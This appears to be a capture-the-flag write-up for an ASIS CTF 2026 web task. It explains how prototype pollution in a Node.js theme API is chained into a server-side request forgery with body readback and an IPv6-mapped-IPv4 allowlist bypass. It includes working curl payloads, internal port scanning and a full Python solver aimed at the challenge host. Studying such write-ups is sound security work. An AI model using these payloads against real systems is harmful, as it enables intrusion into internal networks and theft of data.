$ cat writeup.md…
$ cat writeup.md…
ASIS CTF Quals 2026
Task: Node.js link-in-bio app whose theme API deep-merges JSON, enabling prototype pollution of the reserved ogImage preview field. Solution: SSRF via polluted ogImage, readback via /api/preview diagnostics, IPv6-mapped-IPv4 allowlist bypass, find media-metadata on 172.18.0.3:9001, flag from /flag.
Paraphrased task text: Rick built "Portalis", a link-in-bio site that creates a polished preview whenever a profile is shared. The outdated system only uses approved profile details; "anything behind the portal is none of your business... Just be careful where your profile points."
English summary: a Node/Express application behind nginx serves a profile/theme editor at http://91.107.189.166:3000. The theme API accepts arbitrary JSON and deep-merges it, the preview pipeline server-side fetches a reserved ogImage field, and a diagnostics endpoint echoes fetch results. Goal: reach the internal network and retrieve the real flag. The instance was a single shared box, unstable under load — every step had to be paced slowly.
Recon. Public pages: /, /dashboard, /explore, /help, /about, /u/me (public portal keyed by the sid session cookie). /help documents the API:
PUT /api/theme — takes JSON and deep-merges it into the stored theme (no key filtering).GET /api/preview — returns plain-text diagnostics of the preview/media pipeline.GET /api/schema — machine-readable schema.GET /u/me — public profile view.robots.txt contains Disallow: /internal-metadata — later proven to be a pure decoy on the public app (404 via every host form, including loopback over SSRF).
GET /api/schema returns the decisive hint:
{ "settable": ["name", "bio", "accent", "avatarUrl", "links"], "rendered_context": ["name", "bio", "accent", "avatarUrl", "links", "ogImage"], "note": "ogImage is reserved and populated by the media pipeline; it is not accepted from theme input" }
Vulnerability 1 — prototype pollution. PUT /api/theme deep-merges user JSON without filtering dangerous keys, so {"constructor":{"prototype":{...}}} (plain __proto__ works too) writes arbitrary properties onto Object.prototype.
Vulnerability 2 — pollution gadget → SSRF. The preview/media pipeline reads ogImage from the theme context. Since the field is "reserved" and never stored per-user, it is looked up through the normal prototype chain — polluting Object.prototype.ogImage = URL makes the pipeline perform a server-side fetch of that URL. The fetcher is Node core http-module based: https: is rejected (Protocol "https:\" not supported. Expected "http:\"), and injected headers/method keys are ignored. No redirect following observed.
Vulnerability 3 — full-read SSRF via diagnostics. GET /api/preview returns raw fetch results, e.g.:
HTTP <status> from <url> is not an image; preview: <response body snippet> (for non-image responses)fetch failed: connect ECONNREFUSED ...fetch failed: getaddrinfo ETIMEOUT <host>refused to fetch <url> (host not allowed)This converts blind SSRF into a full-read primitive: status codes, error text, and body snippets all come back.
Allowlist and bypass. Plain localhost, 127.0.0.1, 0.0.0.0, and non-http schemes are blocked with host not allowed. Bypass: IPv6-mapped IPv4 — http://[::ffff:127.0.0.1]:3000/help fetches fine and returns the app's own HTML. Private-range IPs are not filtered at all: http://172.18.0.3:9001/... works directly (bracketed mapped form http://[::ffff:172.18.0.3]:9001/... also works). Docker DNS resolves only the literal service name portalis (→ 172.18.0.3); guessed names (metadata, internal-metadata, renderer, media, avatar, preview, proxy, gateway, host.docker.internal, ...) all fail with getaddrinfo ETIMEOUT.
Network map recovered via SSRF: 172.18.0.1 = host gateway (fetching it hangs the app → outer nginx 502 for everyone — avoid), 172.18.0.2 and 172.18.0.3 both run the Portalis app on :3000, .4–.30 have nothing on 80/3000. The app container's own loopback exposes only :3000 in 1–3100 plus common ports — the real prize sits on a non-standard port on the container IP, not on loopback.
Decoy. GET /api/flag exists and returns 403 {"error":"internal only"}. The guard is trivially bypassed from the public interface with a single header X-Internal: 1 → 200 {"flag":"flag{decoy_this_endpoint_is_a_trap}"} — an explicit honeypot for header-guessers. The real flag is elsewhere.
Stability note: the app hangs (outer 502) whenever the SSRF fetch hangs (e.g. the gateway) and sometimes on large/binary bodies. Space out requests and wait for / to return 200 between probes.
ogImage at an internal URL and confirm the readback channel:curl -s -X PUT http://91.107.189.166:3000/api/theme \ -H 'Content-Type: application/json' \ -d '{"constructor":{"prototype":{"ogImage":"http://[::ffff:127.0.0.1]:3000/help"}}}' curl -s http://91.107.189.166:3000/api/preview # -> returns the /help HTML body => SSRF with body readback confirmed
Check the obvious targets and kill the decoys:
/internal-metadata on loopback and on every reachable internal host → 404 (robots.txt is a taunt).GET /api/flag → 403 internal only; from outside, X-Internal: 1 flips it to the decoy flag{decoy_this_endpoint_is_a_trap} — stop here and pivot.Discover the internal network: resolve portalis → 172.18.0.3; sweep 172.18.0.2/.3 and common ports through the SSRF. Nothing but :3000 on loopback — so scan the container IP on non-standard ports.
Find the hidden service. Port 9001 on 172.18.0.3 responds with a banner:
media-metadata service GET /flag
curl -s -X PUT http://91.107.189.166:3000/api/theme \ -H 'Content-Type: application/json' \ -d '{"constructor":{"prototype":{"ogImage":"http://172.18.0.3:9001/flag"}}}' curl -s http://91.107.189.166:3000/api/preview # -> HTTP 200 from http://172.18.0.3:9001/flag is not an image; preview: "ASIS{REDACTED}"
Full solver (paced for the fragile instance):
#!/usr/bin/env python3 import requests, time, sys BASE = "http://91.107.189.166:3000" s = requests.Session() def wait_ready(timeout=180): end = time.time() + timeout while time.time() < end: try: if s.get(BASE + "/", timeout=10).status_code == 200: return True except Exception: pass time.sleep(5) return False def ssrf_read(url, tries=3): """Pollute Object.prototype.ogImage, then read the fetch result from diagnostics.""" for _ in range(tries): if not wait_ready(): sys.exit("instance down") s.put(BASE + "/api/theme", json={"constructor": {"prototype": {"ogImage": url}}}, timeout=15) time.sleep(3) r = s.get(BASE + "/api/preview", timeout=20) if "HTTP" in r.text or "fetch failed" in r.text or "refused" in r.text: return r.text time.sleep(5) return r.text # 1) sanity: loopback bypass + readback print(ssrf_read("http://[::ffff:127.0.0.1]:3000/help")[:200]) # 2) hidden internal service found by scanning 172.18.0.3 non-standard ports print(ssrf_read("http://172.18.0.3:9001/flag"))
Host-header variations and HTTP/1.0 no-Host requests all returned the standard app./internal-metadata on the app (any loopback form, portalis:3000, .2, .3): 404 — the robots.txt path is a decoy.<%= 7*7 %>, {{7*7}}, ${7*7} all render literally. No template evaluation.headers/method into the SSRF fetch: ignored by the fetcher.avatarUrl as pipeline trigger: never fetched; og:image stays empty; no crawler-UA trigger on /u/me (facebookexternalhit etc. tested).X-Forwarded-For, True-Client-IP, ...) on /api/flag: still 403; only X-Internal: 1 flips it — to the decoy.$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar